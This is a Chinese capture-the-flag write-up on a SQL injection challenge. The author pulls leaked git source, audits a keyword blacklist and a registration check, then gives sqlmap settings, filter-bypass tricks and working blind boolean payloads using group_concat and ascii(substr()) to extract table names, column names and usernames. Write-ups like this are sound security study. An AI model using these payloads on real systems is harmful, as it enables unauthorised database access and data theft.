0x00 題目概況
題目地址:http://www.sniperoj.cn:10000/
這是一道注入題,存在git源碼泄露,使用githack(freebuf有工具介紹)把源碼脫下來,進行審計,然后注入。
挺簡單的一道題,我自己卡一個地方卡了好久就是。
拖下來源碼放在我服務器上,懶得拖想看看可以下載:
120.27.32.227/sniper.rar
大概分析如下:
敏感詞過濾
$blacklist = array(" select "," union ","limit", " from ", "and","sleep");
foreach ($_POST as $key => $value) {
for ($i= 0;$i< count($blacklist); $i++){
if(strpos(strtolower($value), $blacklist[$i]) != false){
die("Come on inject me, you stupid srcipt kid!");
}
在注冊頁面:
// 判斷用戶是否存在
$sql_check = "SELECT userID from users where username = '$username'";
$result = $conn->query($sql_check);
if ($result->num_rows > 0) {
die("{\"status\":\"0\",\"msg\":\"用戶名已存在\"}");
}
很明顯的盲注點,在登錄界面也有一個盲注點。(沒發現哪里可以明注,本人新手還望賜教)
0x01 自己解題歷程
1. 那個黑名單,“select”"union“” 可以使用內聯注釋繞過,或者使用其他如 /**/ 代替空格即可,and 可以用 && 代替,limit 沒有找到方法繞過
2. 注入點 ?,username 可以為:
' or 1 #
在 1 處進行盲注。
為真的關鍵詞是 “用戶名已存在”。
一看這么簡單,加上最近深入了解了一下slqmap,所以想下直接用sqlmap跑就行。
sqlmap參數: ?--string "用戶名已存在" --suffix "#" --prefix " 'or " -v 3 --risk 3 --tamper space2comment.py?
確實可以跑出來,但是,只能跑出數據庫名,表名要靠碰撞,其他獲取不到,很是困惑。
糾結了好一會,查看slqmap的payload才想起是 "limit" 在黑名單里面。
接下來就是怎么繞過limit限制的問題了。大體上思路有兩種。
1. 不用limit ,尋找可以代替limit的關鍵字
2. 繞過限制,如編碼繞過,內聯注釋繞過
找了挺久的資料,一無所獲。沒有找到mysql沒有能代替limit的關鍵字,這里也繞過不了。
在網上看到一種這種繞過,在關鍵字中添加 注釋 ? “/**/” ,如:sele/***/ct ?。這是一種錯誤的方式,除非php會對 ?“/**/”進行過濾,否則,這種語句帶入到數據庫進行查詢會報錯的。
0x02 正確的思路:group_concat
大概自己思維還是太狹隘,一直在糾結怎么繞過limit ,想著盲注一定要有limit。
把源碼掛在屏幕半天,偶然看自己的一下筆記才想起來使用 “group_concat”
個人對group_concat通俗理解:
進行查詢,將多條查詢結果以一行顯示出來,即一條
如:select group_concat(username) from users
會將所有的username顯示在一行
想到這,就沒必要用limit 了。接下來就是寫腳本的問題。
payload 如下:
獲取表名:
' or ascii(substr(((select/**/group_concat(table_name)/**/from/**/information_schema.tables where table_schema=database()))from/**/1 for 1))=93 #
獲取列名:
' or ascii(substr(((select/**/group_concat(column_name)/**/from/**/information_schema.columns where table_name=0x7573657273))from/**/2 for 1))=71 #
獲取具體數據:
' or ascii(substr(((select/**/group_concat(username)/**/from/**/users))/**/from 2 for 1))=21 #
0x03 總結
git泄露
盲注不一定要使用 limit?
記住 group_concat
使用sqlmap行不通時查看payload,別太依賴工具
題目挺簡單的,自己太菜了,還要多學多看,這些遠遠不夠
2017 6 13 早上
昨天服務器有些問題,是本地搭建環境測試的,現在好了,實測有些問題。
在判斷 布爾真值為1的語句中:
if "用戶名已存在" in response.text:
這個句子 的中文是gb2312編碼,處理會有問題。
懶得查找如何解決編碼問題,那最最簡單的判斷就是使用len根據 response.text 的長度進行判斷。
為真長度為29
為假長度為31